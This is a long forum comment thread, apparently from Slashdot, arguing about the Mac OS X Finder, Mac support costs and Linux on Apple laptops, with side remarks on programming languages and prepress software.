And the performance isn't nearly what it could have been. Every use BeOS? You make a file on the desktop from within an app, boom, it appears in the background instantly. OS X: make a file or folder, click on the desktop to (hopefully) force a redraw, and a moment later (on a dual-G5) it'll show up. Editing a file that you can see in a window in list view? Save it and BeOS updates the 'date modified' column in the background instantly. OS X? Click the file and it'll update. And the Finder is especially lazy about updating disk usage when you have the 'calculate folder sizes' option checked. C'mon, Apple... I had BeOS R3 for Intel and PPC in *1998*! It's 2005 now! Want me to send you my old CDs?
perfect quote: "Finder X is the compromise between the Mac OS folks and the NeXT folks. Neither won, everybody lost."
great quote: "the entire bastardized notion of switching from metal to aqua and hiding the sidebar when clicking on the toolbar chiclet in the upper right-hand corner. Bonus: notice how if you click on the extreme right of the chiclet and try to switch back, you fail -- the window theme switch moved the chiclet slightly to the left and now you've got to follow it. Gag. Folks, this type of stuff makes Gnome look good."
Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
There is a big difference between "less" and "none". And I sit next to my wife and her iBook (previously a powerbook) every night. So even anecdotally I can vouch for her having problems with application crashes or even system problems. (She had lots of problems with OSX on her old powerbook especially.) Not to mention the times I took her powerbook to the "genius bar" at the Apple store. Surprising how many people were waiting in line ahead of me, considering how Apple systems never need support.
So I'll just keep sticking to the mantra: All systems have problems. Never believe any evangelist who tells you any system never has problems. Any properly maintained system can run smoothly. Yes, even Windows boxes, though the details of "properly maintained" can certainly be more intensive.
Woo hoo! Sweet! Now I can rest...forever sleep...earned it I have.
How did you got it running? I tried (ok, quite a while ago), but failed miserably...
"..and why Mac OS X's Finder should be killed off."
Precisely, one of the reason I find OSX so annoying to use; this 'Finder' assumes software is somehow lost already. A debilitating metaphor to say the least..
Please mod the parent informative , the only reason it was posted was because the grandparent was marked informative
Why is this moderated offtopic ? .it was pointing out a troll that was Moded up.
I am confused on how you "rebuild" a desktop on a Mac running OS X. Are you admitting that Windows problems are on an order of magnitude worse than Macs?
This guy is way out there
Or instead of Apple dropping Quartz, which is a huge part of their appeal (to both users and developers), the Open Source community should start working on and in GNUstep, which is an API-alike of the same technologies that OS X is based on.
Hell, APIs aren't protected I.P., you could make Quartz-compatible APIs for X11 and add them to GNUstep.
It would serve us better to emulate the good things we see out there, not knock them down to our level.
"Sometimes, I think Trent just needs a cup of hot chocolate and a blankie." -Tori Amos on Nine Inch Nails
I think it may be because some mods do not read the rules
Rebuilding the desktop was something one had to do in "the old days" pre-OSX. I'll presume that the OSX finder never needs this to happen any more, hopefully.
I don't know if any OS problems are an order of magnitude worse than any other. My conclusions after working the last 10+ years in IT is that end-users are the source of more problems than any OS or hardware.
Guess what just flew right over your head?
Over here they are. Malware is the biggest problem I have. XP is pretty stable but nothing on OS X. OS X is a dream to support. Once OS X users learn some different comamnds, your work is done.
This guy is way out there
The only penetration testing you do is on your lubed up hands in your mommy's basement.
Why you do not like Column View, I do not know. It's my preferred Finder setting.
I find it more generally useful for exploration of the filesytem than other views since it is so quick to jump back multiple levels quickly.
However I do wish it had some way to automatically weight the area you were exploring to better show filenames, rather than having to drag out the size of that area. to see clearly.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
dude, chill.
NO ONE is saying Macs never need support, and your implications that people are saying that, is a strawman at best.
All anyone's been saying, is that they need far, far less support, something I personally can vouch for.
I have simular experience. Actually, we have much more support with the Macs than with the Windows boxes.
However, I must note that this is with the old classic system. I don't have any experience with the new OS X systems.
If it's not lost, how come you are looking for it in the first place?
At least "Finder" implies you will actually find something you are looking for. Consider please the term "Explorer" which implies a long journey, at great cost and possibly without success at the end. Nothing could be more apt to describe Explorer and the annoying little dog that couldn't find drugs in a reggae bands luggage.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Crackers are people who crack software copy protection.
Crackers is white people, Keebler-man. Shutshomowth.
how many of us have the facilities to back up 60GB?
If you need 60G worth of data, you need facilities to back up 60G worth of data. Data that isn't backed up doesn't exist, it's vapor, patterns in the clouds, sandcastles before a storm.
Hie thee down to CompUSA and get a $100 USB or Firewire external drive at the very LEAST. If you're a business, DLT tape drives give you reliable and ROBUST backups.
Sheesh.
... noteably from the standpoint that selecting a quicktime or other video file that Quicktime thinks it can deal with in column view causes the thing to thumbnail preview in the Finder, which flags the file as being IN USE. So if you're using something like Media100 (hardware accellerated video), and you select a media100 file in the finder, Quicktime shows a preview... you double-click to open the sucker and OH GUESS WHAT YOU CAN'T BECAUSE THE MEDIA100 HARDWARE IS IN USE BY ANOTHER APPLICATION.
So you either flip to list or icon view to select and open the godsdamned document, or you open it from inside the media100 software.
Finder, imo, is the one thing that needs SERIOUS improvement in OS X. I shouldn't be forced into using third party software* ( http://quicksilver.blacktree.com ) just to have a useable system.
* Quicksilver keeps me very, very far away from the Finder. I like it that way.
yeah well, that's like, just your opinion, man.
The author of this post asserts his moral rights.
I always tell those users that call up "Nothing is fucked here, man."
This guy is way out there
You'd be right a few years ago, now not so however. Many good desktop distributions (like Mepis or Ubuntu) work out of the box on portables, and frankly they outperform OSX even on it's own hardware in areas like 3D applications. This seems to be due to OSX hogging the card for fast 2D blitting. I see alot of this as I teach in this feild.
I notice here in Europe increasing numbers of students are buying Linux pre-installed on their lappies anyway, just as your machine came with OSX preinstalled.
Where I've seen OSX really pick up is in areas relating to DSP, hardly eating into Linux mindshare in CS and Science departments but strong in media-arts circles - esp Video Processing/Editing. The PPC architecture is especially good at this.
Personally I'm looking forward to IBM shipping Linux honed PPC laptops; there's every indication they intend to do precisely this.
well if they can't use OSX, they're a bunch of fucking amateurs...
The author of this post asserts his moral rights.
To eject a disk, you may also click on the eject button next to the icon in the column view. Or you can just highlight the disk's icon and type Command-Delete. Or if you're ejecting a CD, just hit F12.
Or in other words, you obviously don't normally use Macs.
Let me simply ask this: Does Apple Computer have a support department. If so, why? They never need support!
Oh, now you've really stepped in it. Apple uses 2-4 times less support staff than other enterprises of their size.
Apple makes great systems. But anyone who says they never need support is either wearing blinders
Says the guy wearing sunglasses with ten-year old Macs glued to the inside. Typical backpedalling. Nobody said they never need support, just an order of magnitude less.
"Not anymore. Because of Finder."
Don't blame Durga. I voted for Centauri.
I like that linux is there and getting better but I doubt it will satisfy my needs. will it do all of the following out of the box?
-support for sleep mode and power management at least as good as Apple's
-support for iPod shuffle
-support for Airport Express with Airtunes
-support for iTMS
-support for Apple bluetooth keyboard and mouse
-support for bluetooth phone remote control and sync
-support for keynote
-DVD player
-voice recognition
Its the dirty little secret of /. that for all of our pro-Linux, "I love OSX" rhetoric, Slashdot users use mostly Wintel.
There's also a large enough volume of slashdot users to create the "slashdot effect" and its associated smoking piles of server rubble.
However, very few threads ever even break 1000 posts. Since I don't think most websites go down with
~Rebecca
PS-- Just upgraded to 2.6.11.5 last night.
Where are you getting prepress software for free?
Its the dirty little secret of /. that for all of our pro-Linux, "I love OSX" rhetoric, Slashdot users use mostly Wintel.
;)
You sure that's not just people hacking their user agents to get around website brain damage?
(But I won't go into them here. The mac police would only mod me Troll)
If it isn't already done, I'd like to humbly nominate Otis' law of Mod whining: Those who post whines about moderation get mod'd down regardless of the content of the rest of the post. Including this post of course
(if there's already such a law (a distant relative of Godwin's law) let me know)
The powerbook lifestyle is majorly defined by how coherent and stable OSX's sleep mode works. You close the computer - anywhere, doing anything - and when you open it it is stable and picks up right where it left off.
And when i say stable, i mean cubase, reason, 20 plug in's, the song playing back, 100% CPU - close the lid, and when you open it, it will pick up right where it left off! No resource contention, no nothing. Nice.
That is why there is a life style, because you are never, NEVER obliged to take the overhead of saving and managing your workspace somehow, just to move.
Same for it's wireless networking support IMHO.
that's what it means. Try all that on windows, if you even trust hibernate - i don't. too many BSOD's from wireless adapters bombing and killing ALL my open apps/sessions.
Its the dirty little secret of /. that for all of our pro-Linux, "I love OSX" rhetoric, Slashdot users use mostly Wintel.
There's also a large enough volume of slashdot users to create the "slashdot effect" and its associated smoking piles of server rubble.
However, very few threads ever even break 1000 posts. Since I don't think most websites go down with less than 1000 hits, perhaps the ones posting that they love Linux/OSX/*BSD are the ones using it?
~Rebecca
PS-- Just upgraded to 2.6.11.5 last night.
PPS-- No idea how I lost the *middle* of my post previously.
So a better question than "Why doesn't Corporate America use Macs" might be "Why don't we?"
I use Wintel because my corporate overlords use Wintel and have really annoying applications that are harder to use than a good browser interface that I need to use to get my official email and do my timecard and the like.
These applications provide zero value. Nobody likes them, even the MCSE guys who are total Wintel zombies, but they keep you chained to the Wintel desktop.
But I have enough of a rep and enough goodwill at this place that they let me use my Mac next to my PC, and so I spend most of my time on my Mac. I use Wintel, like I use toilet paper or dishwasher detergent, when I need it. I work on a Mac. But for most people at big businesses, well, that's not an option. Hell, we get slammed enough for using non-approved browsers like Firefox...
Dude, you're coming into Appleland well after the OS X bomb went off. Apple has been working passive-aggressively to get their users to drop cash on new kit for years, and they've been leveraging the OS to do this. To whit:
1. You can run OS 9.1 on the 6100 through early-mid G4s, though it has to be installed from CD in the x100s (instead of a patch update)
2. OS 9.2.X requires first-gen G3s or better, though you can hack it onto older gear with the right tools.
3. 10.0's official sysreqs were "G3 and up". Ditto 10.1 and 10.2. 10.2 introduced Quartz Extreme, which instantly obsoleted non-AGP macs and most mac video boards. And all iMacs and portables with less than 32 vram.*
4. 10.3 won't install on beige hardware. To run the current OS, you've got to be using a machine with New World roms (or hack the sucker on with XPostFacto).
5. 10.4 will be shipping on DVD. I'm sure there'll be a CD option as well, but if it's DVD only, that chops out a couple of generations of iMacs, some blue g3s, and some powerbooks, etc, etc.
It's only a matter of time until the OS requires Altivec- the entire product line has been G4 or G5 for awhile now, so I imagine Apple is going to drop support for G3 machines as fast as they can.
And it's not like they "drop" support per se (unless obviously, as with the 10.3 release)- they do it passive-aggressively, by introducing new features that require recent hardware to use.
Doesn't help that you need a dual G5 and 2g of ram to get the Photoshop performance OS 9 has on less than half the hardware.
Don't get me wrong, I agree with you on all other points. But no forced upgrades? Please. You should've seen the 68k -> PPC transition.
* Yeah, you can use OS X with less than 32vram but the difference between QE and non-QE on slower, ram-starved machines is obvious.
Actually VLC can fullscreen to any monitor - it's just a menu option away (Video device).
I've added a shortcut to my 2nd monitor so I can just open VLC, hit 2 key presses and have fullscreen playing on the second monitor.
AND VLC's fullscreen will keep going if you switch applications on your primary monitor - quicktime will go back to a window if you do that.
Are there Macs or PCs in that abortion clinic?
I've been told that most of the reason had to do with the fact that Mac apps take advantage of drag-and-drop more than Windows apps do, so it made sense to always have other apps showing. Notice that Powerbooks and Apple monitors are usually wider than PC monitors.
I'm not joking, I don't know what it means and I'd like to know.
I get the impression that I'm missing a whole dimension to this discussion by not knowing what "rebuilding the desktop" means.
Aligning the dock to a corner of the screen rather than the centre of an edge fixes all of my complaints with the dock (something TinkerTool lets you do - apparently the feature is present in the dock, but not presented via any kind of UI). Moving every icon when I launch a new app or minimise a window destroys motor memory and is a very bad design decision. In the top left corner, it is ideal.
I am TheRaven on Soylent News
Such BS about no support calls from Mac users. I worked helpdesk for a company that at the time *did* deploy Macs to all employees instead of Windows PCs.
/. and flirting with the attractive women there. Even the OS 9 -> OS X migrations I've handled have gone smooth as silk.
When I started at my last job in 1997, I singlehandedly supported about 100 people in three locations in central NJ running Mac OS 8.x and 9.x. I got very few support calls-- most of them were when people needed assistance opening e-mail attachments that were created on Windows machines. When a Mac would actually have a real problem, 99% of the time it was something that could be fixed by running Norton Utilities' Disk Doctor, zapping the PRAM, and rebuilding the desktop. I spent a large portion of my day in my office, surfing the web and/or with my nose in a novel. The worst problem we ever had was a hard drive failure in a server.
Then in late 1998 the powers that be in the company HQ in New York decided they needed to switch everyone but the graphic designers to Windows, "to be compatible with the rest of the world."
Next thing you know, I am one of *three* people supporting almost the same exact number of computers, but we're barely able to keep up with all the problems. I got sick of it and left a couple weeks into 2001.
I see the same thing at my current consulting job, where every consultant but me supports Windows exclusively. Those guys are never in the office, and sometimes they are so busy running from place to place because Windows can't stop shitting the bed, that I have to pinch hit for them and go see some of their clients. I see most of my Mac-based clients every one or two months, except for one that has me spend one day a week on site. There are usually a few minor issues waiting for me that I knock out in about 15 minutes, and then I spend the rest of the day reading
Based on my experiences, nothing will ever convince me that Windows machines cost less to support than Macs.
While I don't have a formal definition it basically means a programming language where you have a sequence of statements.
Most languages widely used are imperative languages, such as C/C++/C#/Jave/Perl/whathaveyou.
An example of another type of language is functional programming languages such as ML, Miranda and F#.
I believe Lisp is generally considered a functional language, but it also supports sequences of statements so I guess it really is a mix.
I'm a bit rusty on this subject, so if someone wants to correct me on this then please go ahead.
The Internet is full. Go Away!!!
In his original paper there's a missing step:
1. Discover the original function's address.
2. Test the waters.
3. Make the original function writable.
4. Allocate the escape branch island.
5. Target the escape island and make it executable.
6. Build the branch instruction.
7. Optionally allocate and engage the reentry island.
8. Atomically:
a. Insert the original first instruction into the reentry island.
b. Target the reentry island and make it executable.
c. Swap the original function's first instruction with our custom-built branch instruction.
Missing step?
9. Make the original function non-writable.
I agree, if I owned a company I'd be buying mac mini's like hot cakes....
Think Deeply.
Do they? It seems like academics tend to build a larger software portfolio on their machines and have higher demands both in software diversity and computational requirements. What do most business people need? Office and a web browser? Of course, I mostly worked with engineering people. The computer science people are sadly becoming MS people, homogenized to fit the corporate mold; where Suns and SGIs used to reign, we now have lame-ass Dells. I just don't think that business people have "higher demands" in any event.
Heh... not to jump in here, but you just underscored his point.
Command - Delete to eject a disk?!
Really? Sorry, I must have imagined this sentence:
"Not to mention IT issues a Mac and completely forgets about it since there are no support issues."
If you've not used a declarative language, try playing around with Prolog. It's not always fast, but sometimes you can do things in two or three lines of Prolog code that would take tens or hundreds of lines of imperative code.
I am TheRaven on Soylent News
My what a clever dick!
-support for sleep mode and power management at least as good as Apple's
I don't know, ACPI and sleep mode works well on this laptop, friends have it up and running on their PB's. Interestingly this laptop is made by the same Taiwanese companey that make the Apple iBooks, Asustek.
-support for iPod shuffle
'gtkpod' supports the iPod, and I'd assume the shuffle.
-support for Airport Express with Airtunes
No. Apple has locked this down to allow only OSX and 9.2 machines use of such services. That said I know no Linux users that would expect such Apple specific services to work.
-support for iTMS
I don't know what that is
-support for Apple bluetooth keyboard and mouse
If it's using an open bluetooth protocol, then yes. Apple however prefer the vendor lock model, so I cannot answer that successfully.
-support for bluetooth phone remote control and sync
Refer above
-support for keynote
Isn't that an OSX feature?
If so, of course not.
-DVD player
Yes and without all the annoying region problems that proprietary platforms have. Ripping and burning DVD's is excellent in Linux.
-voice recognition
I've never used it, though I see that there are many Voice Recognition projects for Linux, some of them derived from many years of scientific research into the feild.
It sounds like your dishwasher is an Apple too; you're already a committed customer
> (But I won't go into them here. The mac police would only mod me Troll)
Or they'll mod you Offtopic! LOL! Which is pretty-much exactly your point since the
statement
really couldn't have been more On-topic. You have to remember, Mac users are kind of like the religious right. They're a small, but very loud minority that requires absolute allegiance of its followers. I'm not the first, and I certainly won't be the last to describe Mac users as a religious cult. The reason corporate America doesn't use Macs is really: "Why should they?". I can't remember for sure but I believe Apple's user base represents something like 5% of computer users. This hardly makes for a pursuasive argument in favor of Macs. (I hope you read this quickly! It'll no doubt follow your post down to the mod graveyard).
Noooooooo.....
I would say 10% would not qualify as "enormous" to any normal sized person.
I din't say "10%" I said "anywhere from 10-90%, depending on department". The point is precisely that, it varies, some places are almost all Windows, some places are heavily Mac... it's NOT a matter of blindly following a herd as you originally implied.
I work at an investment bank building and maintaining applications used by traders, which run on the Windows desktop. If there are more powerful "power users" than these guys, I don't want to meet them.
Then don't try and generalise your extreme power users requirements to typical business Windows users. My users are largely software developers, they're all primarily using computers to get their work done, and while a few are Windows power users the majority... even the ones who are developing on Windows rather than just using their Windows boxes as terminals to the UNIX servers they do their real work on... do not do anything to stress their systems at all.
iTMS = iTunes Music Store.
I use Airtunes all the time. In fact what I love about Apple is that it actually delivers on the promise of wireless computing. when I get home I just put my laptop onto a stand and it wirelessly connects to the internet, keyboard, mouse and speakers making it a desktop equivalent.
keynote is an excellent presentation program and just one of the many Apple programs I prefer over linux and Windows equivalents (I have a linux machine at work and a Windows machine at home so I'm not a Mac zealot, I just use them when they're best, which is most of the time in my experience)
from what I know there is only one distribution that has a legal DVD player and so will have DVD player functionality out of the box. and that distro isn't very good.
I use OSX but reluctantly and don't use an iPod, so I'm not the best person to ask on such things. I use wireless and devices with hotplug-ability, switching networks with a wifi browser - I doubt much is missed there. As far as the DVD players are concerned I just use Xine/Mplayer or VLC and doubt they are any more 'illegal' than anything you run on OSX. Objectively speaking I see no real advantage in running a proprietary OSX machine, other than for some intermittent cross-compiling. That said I like IBM/Asustek's offerings, so an iBook would interest me as a Linux machine.
> My what a clever dick!
Well, I just think if people are going to complain, they should complain about the *real* failings of the OS, not bogus issues like this.
And for the record, the grandparent is still correct -- "for years," from 1984 to 1991, Apple didn't provide an alternative to "window salad" on the Desktop.
...when you say you want to make an application "database independent" it makes any senior database architect like myself cringe. This is the first indicator that your software is crap.
What this usually means is that you get an applications that sucks on all platforms since you are optimizing for none.
This is fine for kids level stuff, but when you play in the Terabyte range, you'd better be designing and optimizing for the specific platform you use or you are toast.
Imperative code is code that the computer has to execute. As opposed to elective code that the computer will execute only if you ask nicely, and even then it's allowed to make up excuses like "Segmentation Fault" to avoid pulling its finger out.
Doesn't it make you feel good to know that our freedoms are protected by politicans, lawyers and journalists.
Windows explorer is the same way. At least for Windows 2000 from my experience. If it waits for the network file over a SMB connection the whole shebang freezes while the drive comes up. Anything that passes through the shell (saving a file,etc) becomes frozen until the SMB mount syncs. The systray even hangs at times until the network becomes free. I probably have issues with my ethernet card (on-board Intel Etherexpress Pro VM 100) or maybe even my SMB shares (samba on linux, P166, 64megs, headless, so no resource hogging X11). For example, I'll be tagging some MP3s and the whole shell slows to a crawl. On my other PC it wasn't all that much better. Yeah, samba is optimized and such according to recommendations for the buffer sizes under linux. I could be wrong though, cuz something seems pretty wrong. Anyways, network browsing has never been a real fast process for me (especially with hundreds and thousands of files) coupled with the fact that 100 mb is not really all that fast. A network share is gonna only give you a realistic max of maybe 3-5 MB/sec, probably less if you have multiple connections running. Its not hard for a pentium based file server to saturate its NIC. Not trying to be offtopic. but if anyone reads this and has any suggestions to improve my usability, please let me know. Like for instance, does file indexing help with SMB mounts? (I have that crap turned off) I know the apple section isn't really the place to ask such things, but hey, you never know. :)
zosxavius photography
The real problem is that interprocess communication under UNIX isn't very good, was added late, isn't portable, and isn't used much. So apps tend to be monolithic, and intercommunication takes place at a very high level, like CORBA, XSLT, or Java RMI, if at all.
So trying to interpose new features at a lower level tends to involve horrible hacks. In the DOS era, there was "hooking" interrupts (a concept faithfully replicated in all Microsoft's OSs to date.) Then came "injecting DLLs." Now there's this.
One of the sad things about UNIX/Linux is that the original concept of little intercommunicating programs has been lost. Because the original intercommunication mechanism (pipes) was so weak, the concept didn't generalize.
I often wonder how different the history of UNIX might have been if, when you invoked a program, you got results back. You get to pass command line arguments and environment variables into a subprocess, but all you get back is a status code. This one-way model permeates the UNIX world. It's one reason that shell scripts and makefiles tend to be so blind.
What's needed is a sane approach to interprocess subroutine calls. Multics had this. QNX has it. Mach has support for it, but nobody uses it much.
How the hell is having huge windows that are mostly empty efficient use of screen real-estate?
Seems to be more like Windows designers were so ashamed of the drag'n'drop abilities that they made all windows full-screen so people wouldn't even be attempted to try DND.
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
So, the reason that Corporate America shouldn't use Macs is because they don't?
Macs users are 5% of computer users, and therefore no one should use Macs?
I'm sorry, but your reasons are worthless. You may have come to the correct conclusions (although I would disagree), but your methods are appalling.
Ce n'est pas un vrai mouvement de robot!
Bullshit. Your not talking about Mac users, you're talking about a small, but very loud minority of Mac users. The same exists within Linux users, and yes even Windows users.
Personally, I've had a horrible experience with Linux working out of the box on my iBook G4. I had never used linux before and I came across a couple articles on the web talking of the userfriendliness of Ubuntu and how it's also available for ppc. Since then I've tried Ubuntu and Kubuntu on my iBook.
Here are a short list of my problems. Keep in mind this has been my first experience with linux.
1. On kubuntu, my usb key would not mount for whatever reason.
2. my iPod would mount but when I tried to open some files, I kept getting all these error messages saying I didn't have the proper permissions to access the files.
3. *IMPORTANT* Airport extreme doesn't work
4. On Ubuntu, sleep wouldn't work when I closed the lid. On Kubuntu, sleep would work, but when I would open the lid, my iBook wouldn't wake up from sleep. Had to reboot to get things working again.
5. no way to manage the music on my iPod like I can with itunes
6. no way to use the iSight for videoconferencing, which I use a few times a week to talk to my girlfriend and consequently, which I absolutely need
7. Wouldn't play mp3's out of the box
8. wouldn't play almost all my video files out of the box.
Basically, the only thing I could do on ubuntu was use openoffice. On kubuntu, I couldn't do anything because I had no way of transferring files to another computer (as I can on OS X using my iPod, USB key, wireless network, internet).
On another note, I'm in life sciences at my university and an amazing number of people use macs, especially the profs for some reason. Out of the 5 course I'm taking right now, there are 2 powerbooks, 2 ibooks and among my profs/TAs compared to zero pc laptops.
YHBT. YHL. HAND.
Here, I guess. It's too bad he doesn't realize it runs on Mac OS too...
"[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz
My users are largely software developers, they're all primarily using computers to get their work done, and while a few are Windows power users the majority... even the ones who are developing on Windows rather than just using their Windows boxes as terminals to the UNIX servers they do their real work on... do not do anything to stress their systems at all.
So basically you're saying that you work with people who compile and debug on Windows, and their boxes don't crash. Aha! That proves why someone who wanted to do more than check email would need a Mac.
The OP's point was that the average business user only uses the machine to check for email and word pro, while academic users have "real" computing needs and thus choose Mac. Both you and I know this is false then. Development and trading are at the high end of the curve for rescources. The only thing I see beyond those groups would be people who do imaging, which is admittedly the core of the Mac market segment. But again, I would consider that a business, rather than an academic, application.
(Ask me how many times I've walked someone through rebuilding their desktop.)
OK, I'll ask -- How many times? Or more specifically, how many times in OS X? Is that even something that's been done since OS 9? I've never done it on my boxes, but except for one, they've always run OS X. Are you re-living bad support calls from the last millennium in your dreams at night, or are you just trolling because you don't have any actual support calls to back up your attitude?
World's tallest building rises in the desert
I call BS, I did support for a Children's Hospital as a contractor, I supported over 2000 Macs and a smattering of SGI boxes by myself for over two years and still spent most my time trying to find ways to fill my time besides surfing the web. Eventually they made me help support our 6000 Windows users along with 12 other techs, then I was swamped every day fixing their issues while my Mac users had nary a complaint. They had tons of software and hardware dedicated to supporting the Windows systems, literally millions of dollars worth of junk. Meanwhile I was armed with a boot CD back in the OS 8-9 days and a firewire drive once macs got firewire. Since I trained a couple of the Windows people to do Mac support, usually only takes one day of shadowing to do, those guys became Mac heads themselves. Doctors and anyone who used Macs for part of their work hated having to use the PCs in the patient areas, so most switched to laptops so they could take their Macs wherever they went. Hospital had a couple of massive virus outbreaks that literally crippled the networks and took down thousands of Windows systems, while the Macs which were on their own network happily continued to be the only way to get work done while we had to run around putting out the fires that Windows caused.
My story is the same as I have heard from every Mac tech who has supported large mixed system environments.
TeX would be "document composition software" not prepress. Prepress would be the case when you already have a .pdf and want to get involved in the details of printing. TeX is involved in generating the page description information (.dvi) that becomes the .pdf
You'd think they AC would at least be creative! It's pretty funny that it was modded up. Also funny that someone modded you down.
It's not offtopic, dumbass. It's orthogonal.
Well, I said it was a guess... ; )
Would a PostScript interpreter be considered prepress software, then?
"[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz
"com.apple.systempreferences.plist" has to do with the System Preferences application. Not your real system preferences, but I wouldn't be surprised if you could modify them via that plist. However, Command+Tab cannot be changed in System Preferences therefore you won't find any way to change it in there.
Prepress software might include a PostScript interpreter. For example Xerox printers (commercial not home/corporate) use MetaCode and their prepress stuff converts PostScript into MetaCode. It also includes definitions for Xerox specific commands in terms of which drawers to pull paper from and using precompiled flash images...
Anyway, the main thing is you would never have used prepress software if you've never used a printer that costs over $100k.
I have owned dozens of Macs and Apple portables.
Twice I had to send a portable to Apple for repair(once my PowerBook and the other time my wife's iBook).
Both times the box arrived the next morning and both times the unit was returned in 2 days. While Apple's way is not the PC industry's way, I'll take Apple quality and service any day over the PC industry's poor quality and convenient, poor service.
I don't think it was right to mod you down as a troll, but since this article is about Macs, a lot of Mac users with mod points will take exception to your obviously flawed comments.
That said, the bulk of your comment refers to old Classic Mac OS, not Mac OSX, which is now in its 4th year of existence. The rest is just plain ignorance and proves you know almost nothing about Macs in general, even less about Mac OSX, and have never heard of the $400 Mac mini or the fact that you can plug any 3 button mouse into OSX and get all the usual functionality.
In fact, the only part of your comment which might have a point is about maximising windows, but given that all apps at least maximise to fit the current content, I think it boils down to a matter of taste.
And when you make a comment complaining about how the Mac zealots modded you down, think about how you would respond if someone posted a comment comparing modern Macs to Win 3.1.
I like Trac by Edgewall Software for managing SVN. It has some its a web based solution, not an app.
http://www.edgewall.com/trac/
What are NeXT-style services? Are they the functions in the servics menu, or something different? 'Cause the services menu seems pretty integrated to me... but then again, I've only used OS X, not OS 9 or NeXTStep.
"[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz
I would love for the Enter key on my iBook to behave as an Option key instead.
For those rare occasions when Enter doesn't do precisely the same thing as Return, Fn-Return works as Enter. A seperate Enter key is truly useless to me, but an Option key on the right side would be very useful, since I'd be able to use Command-Option combinations on the right side as well as the left.
I'm sure this is possible, but I've never been able to find really good documentation that spells out exactly how to do it. I have seen some really complicated docs on keyboard layouts, but I couldn't figure out how to do what I wanted.
Suggestions?
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
> Macs users are 5% of computer users, and therefore no one should use Macs?
Sigh.
Yes.
------ The best brain training is now totally free : )
When I switched from OS 9 to OS X, I felt the same way initially, but I endured it for a week and started to catch on. After a month I had adapted, and preferred OS X.
OS X as it currently stands (as I comprehend it) is a compromise not only between the old Mac OS guys and the NeXT guys, but with the users that were used to OS 9. Like most compromises, the result is not perfect but hopefully good enough.
My hope is that the UI will continue to evolve. I think enough users have left behind the OS 9 way of doing things for this to happen (and is why things like dock replacements have become increasingly popular; users are ready for more!).
But what do I know?
It's not offtopic, dumbass. It's orthogonal.
Care to elaborate?
Ce n'est pas un vrai mouvement de robot!
It's not that I don't like finding files, it's that I keep losing them again.
Apple needs to come up with something like Trapper Keeper, so I won't lose my files. Apple could even replace Jeff Goldblum with Rosie O'Donnel. Yeah, I know. That last bit is brilliant.
It's not offtopic, dumbass. It's orthogonal.
Apple needs to come up with something like Trapper Keeper, so I won't lose my files.
:-)
Attention!! All those people that write "Bookshelf" apps so that you can stuff other things in the dock more easily - you need to listen to this man/woman/AI and re-name your product Trapper Keeper!!
What a fantastic name for a program. I wonder who owns the name now and if they would come for you if you used it... Perhaps with Rosie's weight behind the product you wouldn't be bothered.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
My problem is this - I never really had much contact with Finder, not since probably ten years ago. Then it was years of shells, then Explorer...
When you go from Explorer to anything probably you feel a great weight removed, as it's just not useful the way OS X finder is now (yes really).
So from my point of view I think Finder critics could go halfway and realize that despite some flaws it's still pretty good (EXCEPT for the threading issue which does really suck when it happens).
I think if the threading were totally solved I would be very content with the finder just as it is. But I am sure they will add a bit more to it over time and hopefully satisfy most of the critics.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
> To eject a disk, you may also click on the eject button next to the icon in the column view. Or you can just highlight the disk's icon and type Command-Delete. Or if you're ejecting a CD, just hit F12.
:)
Or you can just choose "Eject (disk name)" from the File menu. How did you forget the simplest, most obvious way to eject a disk?
I do admit it was offtopic , but i couldnt just sit there and let a blatent troll get moded up .Missinformation can be dangerous
The only things certain in war are Propaganda and Death. You can never be sure which is which though
> I always tell those users that call up "Nothing is fucked here, man."
I tell them to calm down, but they always say "I'm perfectly calm, dude. I'm calmer than you are."
Me, why do you ask? (Although it's been mostly building add-on modules to OSSIM and OpenNMS).
We're sorry, the phone number you have reached is imaginary. Please rotate your phone 90 degrees and try your call again
Those Windows guys. Fuckin' Nazis. Nothing changes.
This guy is way out there
You took the right approach, by laughing at it. Then you gave us information and a link, so that others might become educated. I find no fault in your methods.
Or_f
Intrestingly enough , when i used to do IRC alot i found a grand way of dealing with trolls , I would simply sit there and insult the trolling method , they would ussualy give up and start to flame profanity or spam at which point getting themselves banned
FC
So basically you're saying [...]
Basically I'm saying is that your claim that business users are heavier users than academics is not supported by the facts, and that your claim that my users are corporate HQ drones who just use email is not supported by facts, and your implication that business needs more of some vaguely suggested "power" than Macs can provide is also unsupported.
Basically, you are extrapolating from your users, who are (as you say) at the extreme high end of the curve... your experience is not applicable to more than the tiniest fraction of users.
Business users do not generally get to choose their machines, they have Windows chosen for them (either directly, by their IT departments, or by a requirement that they use some Windows-only application). Academics are much more likely to be able to be able to choose their own systems, so you get a much more even mix.
PS: "...and their boxes don't crash." I effing wish.
What are NeXT-style services? Are they the functions in the servics menu
Yes.
the services menu seems pretty integrated to me
OS X has two separate mechanisms for prividing context-sensitive extensions to applications... the services menu, and contextual menu plugins. These two mechanisms serve the same purtpose and are only distinct because one comes from the Mac OS 9 world, and one comes from the NeXT world. These two functions should be integrated with each other so that appropriate services appear in the contextual menu, and contextual menu plugins appear in the services menu.
Why would this be a good thing? Because you can get to the services menu by keyboard shortcuts when it's inconvenient to use the mouse, but when you ARE using the mouse contextual menus are more convenient... and because there's a duplication of functionality and a confusion as to whether some capability is in one or the other location.
Please re-read the OP. Totally unsupported claims were made regarding
1)The preponderance of Macs in academia vs. the business world.
2)The greater computing needs in academia vs. the business world.
I submit both of these are false. Of course I am basing it on my experience, but I don't see how yours contradicts it. Your users are developers, so they are not simply using the box for email (with was the OP's claim NOT mine).
Business users do not generally get to choose their machines, they have Windows chosen for them (either directly, by their IT departments, or by a requirement that they use some Windows-only application).
1) I made exactly the same fucking point in my first post.
2) The same is generally true for academics. Unless your talking about a home machine used for work, desktop boxes in the university are chosen by and paid for by the university and are usually Windows or Nix machines.
ciao
